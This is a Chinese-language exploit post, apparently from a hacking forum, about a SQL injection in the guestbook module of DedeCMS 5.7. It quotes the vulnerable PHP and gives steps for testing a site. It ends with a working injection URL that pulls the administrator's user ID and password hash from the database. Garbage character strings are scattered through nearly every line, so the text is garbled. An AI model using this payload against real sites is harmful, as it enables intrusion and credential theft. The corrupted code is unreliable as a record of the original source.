影响版本为5.7; l, {2 c# C# C3 s( P* B# t" E* w
; Y* V5 z1 I* z, u& n4 u- E* v' _
漏洞文件edit.inc.php具体代码:0 {4 c! I/ |) }0 k- M
" ]$ W( K, Q" o! K
< ?php
* `/ k2 x. G& O2 X, @" P, [- W7 z+ p. P3 Q$ F, b% l/ }
if(!defined('DEDEINC')) exit('Request Error!'); & `$ ^2 L+ ^9 [4 u7 ?( `) D. k/ N
/ b8 ?4 l3 c+ n9 `, i i+ H
* ^3 x: V3 d& w7 h H1 d; Y" S$ m, u. G' T8 g$ p* C1 ]" u/ r+ }
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
; g# v2 S) |8 q9 ~8 ?- @. M$ ^
4 Q7 `" I- Q2 [: v3 g0 Yelse $GUEST_BOOK_POS = "guestbook.php";
, p' d2 b9 D, N0 N
. K3 i" s! ^( v8 v. W0 m: _* E) V; F 9 _& \8 w) |) K0 g3 @5 E1 v
. N3 R: ?- u+ C) J* w; O$id = intval($id); / Z; K7 p; W* _5 w) n* H8 r
, [! e( i/ X8 l8 }: [
if(empty($job)) $job='view';
; [, Z+ u2 ]# X
+ R% Q$ V& ~7 O3 ]/ h1 Z' s
3 o, E" C" l1 ~4 ]* f" A% t! ^7 E6 y9 G1 n) E& {
if($job=='del' && $g_isadmin) 2 M5 \- x; N7 n2 N J% x3 a
, T* g4 e F7 [! e' \
{
' Y% Y9 f9 i) R! H( j) d$ R4 w' u# [! k( z3 }
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
, C) c9 u4 B8 i2 H* \
' } v( R" I! BShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); * \. Q9 j& e) s
" z+ d2 L6 M+ L7 S( m% Y* uexit(); 6 w( G. ^! R* u4 A
7 q/ |" H: w1 E! e" N$ }5 s- U} , L% B# s* |3 N# Q
+ c, w% u' Q+ A; pelse if($job=='check' && $g_isadmin)
5 G9 e/ k. S0 _; C+ J
# d6 S' n- w: Z; R. ~+ g{
. }+ v+ ^$ h) n' c& @ E
( e9 e1 W* P' _$ A$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 6 ~7 ~# I/ Z& Z( @* W2 _* v# P
# W l: z: `1 c7 J
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); 2 F" V: V w* D( o
! m. a# @& X( O8 g& jexit(); " l) p7 S% j; m+ j) W! _& G
8 A# Z4 D4 D( E1 V9 ~, M" U
}
7 [% s# P3 x6 @5 A) [
! ~, U6 o! Z0 [+ p$ z% Y# yelse if($job=='editok')
e& J1 x3 T8 W: u4 J8 F% W- ^2 l3 J l+ r) v2 d
{
0 @7 U+ z" z+ M. q' N4 c# B& b' z- m6 e: a( k9 p
$remsg = trim($remsg);
$ l% G. N( c7 c7 h
* [# |/ L& d# z6 J0 Xif($remsg!='') ' t, K d# [1 N: H/ \7 z, a
- U/ t" T" e: V# N: n4 N0 ^! I{ ; b+ o& C8 Q; \6 R
5 G( ^0 d0 I7 c
//管理员回复不过滤HTML By:Errorera blog:errs.cc ; Q. U! F* E+ }
& P! v* _/ W9 V# \/ s1 r5 o6 }
if($g_isadmin)
) v4 @; F; J$ C* t# [! p( A. T$ k8 ]
5 m+ ]6 v0 {. y3 }, h7 N. }' I{ " x& j1 Y3 f' `
* q; x, C9 q& N: Y+ l* Z" r5 H# F
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 6 c0 N8 _' J% N7 q2 S$ s# z
8 ~8 K7 {% x/ K z4 D. b//$remsg <br /><font color=red>管理员回复:</font> }
# | Q" Q& V% U C3 Z
0 |: l' A T, ]6 E' w5 h7 helse ) `" g2 T" j" V
1 Q& H7 y9 {. E! s; g7 N{
( z9 H, w2 q" M+ {( U4 R* d( l9 x8 o& M- V" r
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
) O; R0 V& L; n$ C3 r1 F
9 R" ]3 @) _3 v8 R R0 @& c9 a1 |$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; & W" L) F# y! L+ o" p
1 _/ i) A F0 z: z8 H1 W
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); . O. {" g% R; k4 m6 D
$ Z! D( S* {+ L$msg = $oldmsg.$remsg; ' \: N" Y% W. M. a
" t" `5 W0 p' k/ X" m5 ? E- H# ^6 I
}
1 }: m# u. [# s' w; i) N
/ J; K/ u% X! Y1 f} 7 s: b- p0 ^6 r# F$ W
+ c1 \# }+ Y6 @4 d" R; W, W//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
: l. ^) L( j: D2 t9 D" h7 u3 G" Q# {( x
# w( `# O2 U% P0 S; ?$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
4 M# J9 \4 Q" I( l. x; n* [- M6 \% Z' W
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
- V0 I9 i* Z0 ?5 Y% I9 c
- L9 M) N% O, J6 A$ K3 Sexit(); ) n) T9 Y3 J! n. p: y( ?% v
. x6 U3 {' G& N. L
}
5 t! Z4 |. t( }! g5 X+ ~! _& N( C7 K5 D6 J3 k7 a* L6 e
//home:www.errs.cc 7 ]; v$ u2 }5 c& d( E
8 t2 F- t- ?. N1 V$ V1 mif($g_isadmin)
2 R0 I: i2 ^( l/ O9 t7 A, k d" ^: P! x
{
" m, K# x/ C7 f+ t/ T0 i. h7 K% G
2 ? {0 l% p- s) v) f R$ P- U$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
2 Z0 K, S& h) A6 Z W' h
* B* g! Q( [6 a n- v+ E' L" hrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
4 H- l0 p+ W& D5 s- l& B; c4 X& l+ G8 M8 C1 X* F. g/ Q4 Z
}
; N! @! T" K; I: s$ j* s4 ?- T8 k% i+ ~& ]+ D( C0 J0 G
else , S8 t& O m" a$ e
, Z4 B5 F4 Z$ R{
' Z; x9 b. @/ m3 i
1 c* }5 i' b6 h' ?: u8 w" Y$ Q1 I$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 0 _+ J8 J; |- Y. b
) R& h' `7 ^: Q1 Y. U
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
1 ~( @6 \# a" A8 P p ]" _" B% `
2 C9 R3 @! R, t5 A} 漏洞成功需要条件:
. S* e# K9 [3 n" \1 H8 m' b1. php magic_quotes_gpc=off
. F% n6 R* q) V. f( v$ O# c2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
S0 N& O9 G" u, @' w1 [- l4 Q4 J) F/ G' Y
怎么判断是否存在漏洞:
+ x' W0 I' H" _- `1 p! A先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
3 ^* q" G' n6 q然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID+ q+ J; p& \, ^$ t7 P3 [, l
访问:
; d. F7 x% `" y6 g' Q) c6 ?* j4 ^) K$ j) u X& f* j1 c" J1 h
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了4 Q0 s' K* `% @5 F1 O- w1 b
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
+ O1 A; Z# k9 a4 D/ d( G" V
, W0 }2 k T2 T9 B+ w; z% ^: t, s% E. B% J" M+ n8 N+ Q- |
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
1 F/ L. i* d% x1 Z如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
" v' X1 y; H% j1 V8 W6 R那么再次访问/ j1 q6 X8 g( B. S0 q+ H9 h
* Q* S6 D% @: k( }www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().( Q7 [# B7 B) h! `! N9 Z
" m* ? M7 |5 ] J' c) M
大概利用就是这样,大家有兴趣的多研究下!!
4 g0 `4 W1 ?/ z1 G g& v% a& l. k# X
. \8 A; q9 t- N& v# {6 U最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!8 y4 a0 _: B- d. E
8 X: }5 f# g, P' @* iview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |